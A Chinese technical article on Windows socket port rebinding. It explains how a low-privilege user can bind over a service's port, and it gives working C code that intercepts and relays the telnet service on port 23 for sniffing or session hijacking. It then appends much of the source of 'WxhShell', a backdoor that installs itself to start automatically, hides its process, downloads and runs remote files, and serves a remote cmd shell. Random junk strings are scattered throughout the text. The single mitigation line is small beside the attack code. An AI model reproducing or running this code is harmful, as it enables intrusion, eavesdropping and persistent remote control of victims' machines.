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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: po9f[/s'+o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u_HCXpP!Q {k}$L|w saddr.sin_family = AF_INET; =O%Hf bx G!)Q"+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ctOBV F,8 ?du] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rSa=NpFxLu FW"n+7T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nn#;Kjul. <EKTFHJ! 这意味着什么?意味着可以进行如下的攻击: U3**x5F_ v?Zo5uVoq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DuQW?9^232 {h*)|J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -{XDQ{z<% ZS<`.L6B3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y{d-k1?s5 J
?0P{{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 tdsfCvF=a "IHFme@^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sTS/]"l D_q"|D$SB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }Y"vUl_I2 G\z5Ue* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8kLHQ0pmu Hp>_:2O8s #include -K (>uV!? #include w2SN=X~# #include Z'UhJu D5 #include }Uu#N H DWORD WINAPI ClientThread(LPVOID lpParam); hnimd~E52k int main() p%R+ c { +'/C(5y)0X WORD wVersionRequested; ~ <36vsk DWORD ret; I@oSRB WSADATA wsaData; WF_v>g:g BOOL val; gNJdP!(t SOCKADDR_IN saddr; !bIE%cq SOCKADDR_IN scaddr; B[IWgvB(e int err; !]3kFWs SOCKET s; MTip4L W9 SOCKET sc;
RnSll- int caddsize; bkuJN% HANDLE mt; ^[&,MQU{7 DWORD tid; Wl7S<>hg4 wVersionRequested = MAKEWORD( 2, 2 ); Q?V+
0J err = WSAStartup( wVersionRequested, &wsaData ); */HW]x|?V~ if ( err != 0 ) { |~o0-: 'C printf("error!WSAStartup failed!\n"); Wn{MY=5Y return -1; v|MT^. } Cg(&WJw(ep saddr.sin_family = AF_INET; LGK&&srJs ?bPW*A82{q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y(u`K=* 9;Q|"
T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VAo`R9^D# saddr.sin_port = htons(23); 2bOl`{x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aoQ$"PF9 { ejia4(Cd printf("error!socket failed!\n"); ;F_P<b 2 return -1; \.'[!GE *c } 1Va=.#< val = TRUE; F9"Xu-g //SO_REUSEADDR选项就是可以实现端口重绑定的 Z~w2m6;s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wecxx^vtv6 { S5kD|kJ printf("error!setsockopt failed!\n"); lMl'+ yy return -1; zGdYk-H3TH } /'/i?9: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4jc?9(y% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vjzG
H* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D |=L)\ UhJ{MUH` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SOZs!9oi { )PkW,214# ret=GetLastError(); @?jtB printf("error!bind failed!\n"); )FSEHQ return -1;
2OpkRFFa } Be9,m!on listen(s,2); xs&xcRR" while(1) q6ZewuV. { k }{o:
N caddsize = sizeof(scaddr); `v-O 4Pk //接受连接请求 d}%-vm} 0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ftKL#9,s( if(sc!=INVALID_SOCKET) sjOv!|]A { !"o\H(siT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XS
#u/!
if(mt==NULL) 'N^*, { Sl-9im1 printf("Thread Creat Failed!\n"); :+
mULUi break; XjdHH.) S } {\vVzy,t7 } 7l ,f CloseHandle(mt); V;W{pd-I } %NfXe[T closesocket(s); 3 yw$<lm WSACleanup(); CiGXyhh return 0; `!spi=f } =av0a! DWORD WINAPI ClientThread(LPVOID lpParam) ;l1.jQh { B;S'l|-? SOCKET ss = (SOCKET)lpParam; #
E_S.. SOCKET sc; *?*~<R unsigned char buf[4096]; vaJl}^T SOCKADDR_IN saddr; mP=[h
|a$r long num; TtF+~K DWORD val; lT*@f39~g DWORD ret; ][b|^V //如果是隐藏端口应用的话,可以在此处加一些判断 ^|=P9'4Th //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \#xq$ygg saddr.sin_family = AF_INET; a]Pw:lT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h@Jg9AM saddr.sin_port = htons(23); *u:,@io7'G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0w:
3/WO { 97UOH printf("error!socket failed!\n"); xticC> return -1; vcsSi%M\U } "*t0
t val = 100; j!y9E~Zz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :p,|6~b$ { ya{`gjIlW ret = GetLastError(); ] jY^*o[ return -1; -8Hc M\b } z9g ++]rkJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U[|5:qWs { 3tCTPZy ret = GetLastError(); tjwnFqI return -1; D(;+my2 } 6^t#sEff] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6%h%h: e { O_7}H) printf("error!socket connect failed!\n"); Vfga%K%l F closesocket(sc); y631;dU closesocket(ss); 934j5D return -1; +7o1&D*v } P3]K'*Dyd while(1) c|JQ0] K { NmXRA(m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s9a`2Wm //如果是嗅探内容的话,可以再此处进行内容分析和记录 h=,hYz?] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :o~'\:/ num = recv(ss,buf,4096,0); Ow*va\0 if(num>0) 5'eBeNxM send(sc,buf,num,0); UWEegFq* else if(num==0) U65l o[ break; tW4X+d" num = recv(sc,buf,4096,0); ju'aUzn if(num>0) j6EF0/_|e send(ss,buf,num,0); -seLa(8F else if(num==0) CuH4~6 break; < K!r\^ } $~G5s<r closesocket(ss); )DhE~ closesocket(sc); ;"u,G! return 0 ; 5I,NvHD4 } tM;cvc`/ A_\Jb}J1< xGQP*nZ ========================================================== W4&8 k}F7Jw#. 下边附上一个代码,,WXhSHELL ;Z"MO@9: f|M^UHt8* ========================================================== K}cA%Y g-wE(L #include "stdafx.h" !.X/(R7J 717THci3Y #include <stdio.h> Wz=&
0>Mm_ #include <string.h> D ka8[z7 #include <windows.h> N2U&TCc #include <winsock2.h> 0?8>{!I #include <winsvc.h> Jk-WD"J6 #include <urlmon.h> 0RtZTCGO !L{mE&
#pragma comment (lib, "Ws2_32.lib") MKvmzLh$) #pragma comment (lib, "urlmon.lib") /KWdIP#
sZCK? #define MAX_USER 100 // 最大客户端连接数 =WUL%MfW #define BUF_SOCK 200 // sock buffer vR:#g;mnk #define KEY_BUFF 255 // 输入 buffer %6 Av1cv fMFkA(Of^ #define REBOOT 0 // 重启 &"JC8 #define SHUTDOWN 1 // 关机 yQUrHxm d@g2 9rs #define DEF_PORT 5000 // 监听端口 +B " aUF Be]z @E1x #define REG_LEN 16 // 注册表键长度 eu" m0Q #define SVC_LEN 80 // NT服务名长度 oNe:<YT
h6?^rS8U // 从dll定义API B G\)B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )K@D4sl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @,eo* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "Ot%{&:2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~`&4?c3p ;"0bVs`.^e // wxhshell配置信息 *X$qgSW struct WSCFG { k^8;3#xG int ws_port; // 监听端口 8v2Wi.4T char ws_passstr[REG_LEN]; // 口令 d;p3cW" int ws_autoins; // 安装标记, 1=yes 0=no @}H'2V char ws_regname[REG_LEN]; // 注册表键名 ]gVA6B?&9 char ws_svcname[REG_LEN]; // 服务名 B=K<k+{6" char ws_svcdisp[SVC_LEN]; // 服务显示名 <Tjhj* char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] 9C)F*r7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QxLrpM"O int ws_downexe; // 下载执行标记, 1=yes 0=no fqbeO 9x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" VnSO>O char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9)]`le eA(\#+)X ` }; $peL1'Evo [&*irk // default Wxhshell configuration ^_Lnqk6 struct WSCFG wscfg={DEF_PORT, T88$sD.2
' "xuhuanlingzhe", ]^.`}Y=`g 1, *~6]IWN` "Wxhshell", .wd7^wI^S "Wxhshell", Bf00&PE; "WxhShell Service", 2= ;ZJ "Wrsky Windows CmdShell Service", u`Nrg< "Please Input Your Password: ", ";(m,if- 1, jrN 5l1np " http://www.wrsky.com/wxhshell.exe", #e-7LmO~ "Wxhshell.exe" paD[4L?4Hk }; fgtwVji aC1 xt( // 消息定义模块 89D`!`Ah] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3{co.+ char *msg_ws_prompt="\n\r? for help\n\r#>"; =/|GWQj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =Xr{ Dg char *msg_ws_ext="\n\rExit."; ,e1c,} char *msg_ws_end="\n\rQuit."; p+b9D char *msg_ws_boot="\n\rReboot..."; ~I>|f char *msg_ws_poff="\n\rShutdown..."; W`_Wi*z4 char *msg_ws_down="\n\rSave to "; 2& Hl
wpx 6zU0 8z0- char *msg_ws_err="\n\rErr!"; N)E'k%?, char *msg_ws_ok="\n\rOK!"; W%ix|R^2] E#m^.B-} char ExeFile[MAX_PATH]; YK8l#8K int nUser = 0; _?{KTgJ G HANDLE handles[MAX_USER]; /rD9) int OsIsNt; e[T3,2C teDRX13=; SERVICE_STATUS serviceStatus; \)\n5F:Zu SERVICE_STATUS_HANDLE hServiceStatusHandle;
!vl1#@ bupW*fD: // 函数声明 %1;Y`> int Install(void); [*)2Ou int Uninstall(void); 4jZt0 int DownloadFile(char *sURL, SOCKET wsh); u SZfim@Z7 int Boot(int flag); i`CNgScF> void HideProc(void); ?UflK int GetOsVer(void); !$iwU3~< int Wxhshell(SOCKET wsl); ]A-LgDsS void TalkWithClient(void *cs); jK6dI
7h int CmdShell(SOCKET sock); |Zn,|-iW int StartFromService(void); mL}Wan int StartWxhshell(LPSTR lpCmdLine); Iu~(SKr=|$ \J(~
Nv5! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X
J]+F VOID WINAPI NTServiceHandler( DWORD fdwControl );
2i6P<&@ aF"PB
h= // 数据结构和表定义 GPs4:CIgG SERVICE_TABLE_ENTRY DispatchTable[] = Rb
b[N#p5 { [C
7X#| {wscfg.ws_svcname, NTServiceMain}, &JLKHwi/ {NULL, NULL} NODE`VFu }; 8j&1qJx) O>X!78]#K // 自我安装 PB8U+ int Install(void) E(S$Q^ { L-|7
& char svExeFile[MAX_PATH]; ;2BPEo>z9 HKEY key; P&o+ut: strcpy(svExeFile,ExeFile); TffeCaBv #CeWk$)m // 如果是win9x系统,修改注册表设为自启动 Pvkr$ou if(!OsIsNt) { &{M-<M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \3U.;}0_X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9ys[xOh
WM RegCloseKey(key); >>-{AR0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G7-.d/8|^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W}(xE?9& RegCloseKey(key); xWQQX return 0; "wV7PSbM } uZ1G,9 } S|RUc}( } I%{D5.du else { =snJ+yn! LGRhCOP: // 如果是NT以上系统,安装为系统服务 g fv?#mp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }`$({\^w if (schSCManager!=0) XHuHbriI { .0y .0=l SC_HANDLE schService = CreateService x*^)B~7} ( ir)~T0 schSCManager, Vc|QW wscfg.ws_svcname, pi*?fUg!W wscfg.ws_svcdisp, F*B^#AZg SERVICE_ALL_ACCESS, G"<} s
mB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8+_e= _3R SERVICE_AUTO_START, ` NvJ SERVICE_ERROR_NORMAL, [QT
H ~ svExeFile, UUgc> NULL, ;2eZa|M*q NULL, PTA_erU NULL, vN)l3 NULL, QN~9O^ NULL -Ze2]^#dl ); #k)J);&ZA if (schService!=0) 8g_GXtn(z { Q@l.p-:^U CloseServiceHandle(schService); +r =p,leb CloseServiceHandle(schSCManager); g9gyx/'* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VelX+|w strcat(svExeFile,wscfg.ws_svcname); l)
)Cvre+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YQfQ[{kp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ( v=Z$#l RegCloseKey(key); ,n{|d33 return 0; _3Q8R} } 9[\$\l } 'F8:|g CloseServiceHandle(schSCManager); .TRp74 } 6$$ku } :"oUnBY% tj!~7lo return 1; pXxpEv } 9d,2d5Y pB]+c%\ // 自我卸载 -+|{#cz int Uninstall(void) '%A*Z,f { !RdubM HKEY key; `>}e 5 Zo5.Yse if(!OsIsNt) { ..ht)Gex if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bU"2D.k RegDeleteValue(key,wscfg.ws_regname); cf1GA RegCloseKey(key); RT=(vq @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L/J)OJe\ RegDeleteValue(key,wscfg.ws_regname); F1zsGlObu} RegCloseKey(key); h)C`w'L return 0; OOX}S1lA } 4^BHJOvs } PEAo'63$ } T
.L>PL?= else { yB^_dE RV+0C&0ff SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `zRm
"G if (schSCManager!=0) tJY3k$YX { ?`D/#P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y]t)k9|vv if (schService!=0) };;6706a { 0j|JyS:}G if(DeleteService(schService)!=0) { @460r CloseServiceHandle(schService);
PP)-g0^@ CloseServiceHandle(schSCManager); W[tX%B return 0; 5PCKBevV } +q3E>K9a CloseServiceHandle(schService); _"%-=^_ } `~3y[j]kO CloseServiceHandle(schSCManager); B mxBbg } APu cA } '&$xLZ8 ZiOL7#QWX return 1; h wfKgsm } Vam4/6 okZDxg`6 // 从指定url下载文件 6o/!H int DownloadFile(char *sURL, SOCKET wsh) U*6)/.J { -gKo@I HRESULT hr; mC(q8%/; char seps[]= "/"; o}K!p%5_ char *token; S+(-k0 char *file; ueazAsk3g char myURL[MAX_PATH]; 5}t}Wc8 char myFILE[MAX_PATH]; (>\w8] ww"HV;i strcpy(myURL,sURL); -F| C6m! token=strtok(myURL,seps); :Vf :_; while(token!=NULL) PKM8MYvo { 9Iod[ x file=token; Lk|%2XGO& token=strtok(NULL,seps); nE3'm[) } S20L@e"U @eGJ_ J GetCurrentDirectory(MAX_PATH,myFILE); 2U;ImC1g strcat(myFILE, "\\"); tk
<R|i
strcat(myFILE, file); eO:wx.PW send(wsh,myFILE,strlen(myFILE),0); IZkQmA= send(wsh,"...",3,0); ^/kn#1H7& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qj5V<c;h%W if(hr==S_OK) jQ s"8[=s return 0; 8E|
Nf else >1Y',0v return 1; Xr@]7: , HsGyNkr?r } 4>&%N\$* ^l4=/=RR // 系统电源模块 .:b|imgiv int Boot(int flag) -C|1O%. { ]%PQ3MT. HANDLE hToken; (E*eq-8 TOKEN_PRIVILEGES tkp; 4j'cXxo $*`=sV!r if(OsIsNt) { BM&.Tw|x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @;we4G5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sp=6%3fZ]m tkp.PrivilegeCount = 1; [l2ds: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gz? ]]-H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 f;k)x if(flag==REBOOT) { E$'Zd,|f= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OA_Bz" return 0; 5 :ZM-kZT } ']hB_4v else { i<*{Z~B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L+&eY?A return 0; KU> $=Rd } wYrb P11 } <d GGH else { q.l"Y#d
if(flag==REBOOT) { '@ym-\, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y-TS?5Dr] return 0; 9oK#n'hjb } #mNM5(o else { h$Z_r($b
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f<V#Yc(U} return 0; hDp
-,ag{ } Tkhu, } ~L G). G.3qg% return 1; uj_ OWre } LP8Stj JP xbFoXYqgP // win9x进程隐藏模块 }2^_Gaj
void HideProc(void) =#AeOqs( q { @tY)s +)#d+@- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5JE8/CbH if ( hKernel != NULL ) "(6]K}k@ { z:hY{/- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x: `]uOp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sD,[,6( FreeLibrary(hKernel); H B+\2jEE } dF2 &{D"J ]bG8DEwD return; ]>NP?S
)R } l I&%^> 9Z,vpTE // 获取操作系统版本 T-)Ur/qp int GetOsVer(void) N#-P}\Q9 { n{dl-P OSVERSIONINFO winfo; fLj#+h-! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aHosu=NK GetVersionEx(&winfo); Ctpr. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #%4-zNS return 1; jg]_'^pVzr else [:x^ffs return 0; gdupG } / vI sX3v JG xuB*} // 客户端句柄模块 z116i?7EnV int Wxhshell(SOCKET wsl) zkXG%I4h { opQ%!["N SOCKET wsh; =,q,W$- struct sockaddr_in client; uV r6tb1 DWORD myID; .0l0*~[ U^trZ]) while(nUser<MAX_USER) cD&53FPXC { B w1ir int nSize=sizeof(client); Om%{fq& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LXr
yv;H if(wsh==INVALID_SOCKET) return 1; b
!FX]d1~k
`A8nAgbe handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -4|\,=j if(handles[nUser]==0) nPp\IE}: closesocket(wsh); ^EGe%Fq*x] else P9~7GFas| nUser++; =W(mZ#*vdY } ^2L\Y2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -~O7.E(ok <]6])f,y\ return 0; gTE/g'3 } kB-%T66\ [A?Dx-R;( // 关闭 socket ?\MvAG7Y void CloseIt(SOCKET wsh) vA rM.Bu>b { eMk?#&a) closesocket(wsh); A`Vz5WB nUser--; 8OoKP4,; ExitThread(0); `mTpL^f } g9>
0N#< V)M+dhl // 客户端请求句柄 Q}p+/-U\ void TalkWithClient(void *cs) TfaL5evio { L>~wcoB 3+mC96wN SOCKET wsh=(SOCKET)cs; gs)wQgJ [ char pwd[SVC_LEN]; J0BA@jH5 char cmd[KEY_BUFF]; %$/t`'&o- char chr[1]; hu (h' int i,j; TwBwqQ)t b/IT8Cm3 while (nUser < MAX_USER) { E/mp.f2! QR<z%4 if(wscfg.ws_passstr) { |QwX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xx_v>Jn! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y !e //ZeroMemory(pwd,KEY_BUFF); N|[P%WM3 i=0; Kh<xQ:eMy while(i<SVC_LEN) { QeP8Vl&e: ZS0=xS5q) // 设置超时 C$o#zu q- fd_set FdRead; T#'+w@Q9{9 struct timeval TimeOut; \I J\ FD_ZERO(&FdRead); #9aB3C FD_SET(wsh,&FdRead); 1&A@Zo5| TimeOut.tv_sec=8; aIV(&7KT4 TimeOut.tv_usec=0; 07WZ w1(; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {3@lvoDT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 40}qf}8n t w
'?xewx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fZU#%b6G pwd =chr[0]; +g8wc(<ik if(chr[0]==0xd || chr[0]==0xa) { HMyw:? pwd=0; ]O'dwC break; f\O)+Vc } Ag1* .t| i++; _"
0VM> } VT1Nd J(+I` // 如果是非法用户,关闭 socket x&qC~F*QR% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^R.kThG } >[TB8 K7 >Z)21 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E6(OEC%, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 16"eyt> ]Igd< while(1) { C2RR(n=N^ :7ej6 ZeroMemory(cmd,KEY_BUFF); bl. y4 eekp&H$'s // 自动支持客户端 telnet标准 ~e,k71 j=0; N yT|=`; while(j<KEY_BUFF) { )SG+9!AbMZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @T53%v<5 cmd[j]=chr[0]; =KfV;.& if(chr[0]==0xa || chr[0]==0xd) { m1DzUq; cmd[j]=0; 0Lcd@3XL break; vJ96qX } ~IvAnwQ' j++; iHy=92/Ww }
kfaRN^ KLpu7D5(| // 下载文件 w'[lIEP 2$ if(strstr(cmd,"http://")) { ]$ [J_f*x send(wsh,msg_ws_down,strlen(msg_ws_down),0); ax{+7 k if(DownloadFile(cmd,wsh)) Kn~f$1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=YFe<Q else ~nk{\ rWO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .>z)6S_G } jbx@ty else { \sB
a *:r@-=M3= switch(cmd[0]) { ;WX)g&19x L{fKZ // 帮助 mY9^W2: case '?': { t,$4J6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c>+l3&` break; .nCF`5T! } 7\*_/[B // 安装 J6Uo+0S case 'i': { *,g|I8?%VD if(Install()) g{K*EL< send(wsh,msg_ws_err,strlen(msg_ws_err),0); ceN*wkGyB else emp*j@9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J#DYZ>}Y break; 6XyhOs%/ } }RX[J0Prq~ // 卸载 L&3Ak}sh case 'r': { l}-JtZ?[? if(Uninstall()) p/jC}[$v send(wsh,msg_ws_err,strlen(msg_ws_err),0); !yAlb#yu else 0ut/ ')[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *FoH'\= break; 5o;M } @[{9B6NlV // 显示 wxhshell 所在路径 ]`%}Q case 'p': { h3rdqx1 char svExeFile[MAX_PATH]; ^2-2Jz@ strcpy(svExeFile,"\n\r"); x(J|6Ey7!n strcat(svExeFile,ExeFile); 61e)SIRz9I send(wsh,svExeFile,strlen(svExeFile),0); PCzC8~t break; [DS.@97n } * SH5p // 重启 @~pIyy\_ case 'b': { B"rV-,n{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L{H`
t{A if(Boot(REBOOT)) uan%j]|q% send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}k2n s9 else { &,B\ig1Jf closesocket(wsh); KF^5 C ExitThread(0); P]]re,&R } jOL $kiW0 break; "
`rkp= } +3]1AJa // 关机 H_gY)m case 'd': { R5M/Ho 4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $X1T!i[.X if(Boot(SHUTDOWN)) 8Jnb/A} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 [{l9 else { &%M!!28X: closesocket(wsh); ];& @T\Rj ExitThread(0); yhzC 9nTH } .U.Knn break; Pn:L=* } 3^m0 k
E // 获取shell Pf`HF|NI case 's': { o6L eC* CmdShell(wsh); w|$i<OIi) closesocket(wsh); i("ok ExitThread(0); f'
|JLhs break; TEQs\d } lYz{#UX} // 退出 VF8pH< case 'x': { {%g]Ym= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l/?Jp+] CloseIt(wsh); zN2CI6 break; mx`QBJ } $ ?ayE // 离开 OW}ny case 'q': { E=
3Ui send(wsh,msg_ws_end,strlen(msg_ws_end),0); -/ 5" Py closesocket(wsh); l":\@rm` WSACleanup(); qffVF|7 exit(1); fmqHWu*wG break; z%ZAN- } TmI~P+5w } \F`%vZrKR } VK>ZH^- QD6<sw@]P // 提示信息 ~z;G$jd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zb> UY8 } )fPN6x/e } S\$=b_. x-0O3IIE return; tf1iRXf8 } 4:1URhE WC2sRv4]3 // shell模块句柄 D^]g`V*N int CmdShell(SOCKET sock) .|ZO2MCd { IRWVoCc9/\ STARTUPINFO si; p7H0|> ZeroMemory(&si,sizeof(si)); Sv&_LZ-"P si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =$kSvCjP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D==C"}J PROCESS_INFORMATION ProcessInfo; 6ZvGD}/ char cmdline[]="cmd"; v#/k`x\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |HT5G=dw return 0; 6uNWL `v }
]7+9>V SSCyq#dl$ // 自身启动模式 c,
IAz int StartFromService(void) @\ udaZc { X*'i1)_h typedef struct P*=M?:Jb, { r.WQ6h/eZ5 DWORD ExitStatus; Fa]|Y DWORD PebBaseAddress; EA#{N< DWORD AffinityMask; yLpsK[)}\ DWORD BasePriority; MS7rD%(,' ULONG UniqueProcessId; t4Q&^AC ULONG InheritedFromUniqueProcessId; &YiUhK } PROCESS_BASIC_INFORMATION; d8N{sT TR7j`? PROCNTQSIP NtQueryInformationProcess; Pk2=*{:W Y6+/_$N4| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &/+LY_r'<I static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H6o_*Y }BFX7X HANDLE hProcess; 7+'&(^c PROCESS_BASIC_INFORMATION pbi; zCz"[9k HpCTQ\H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
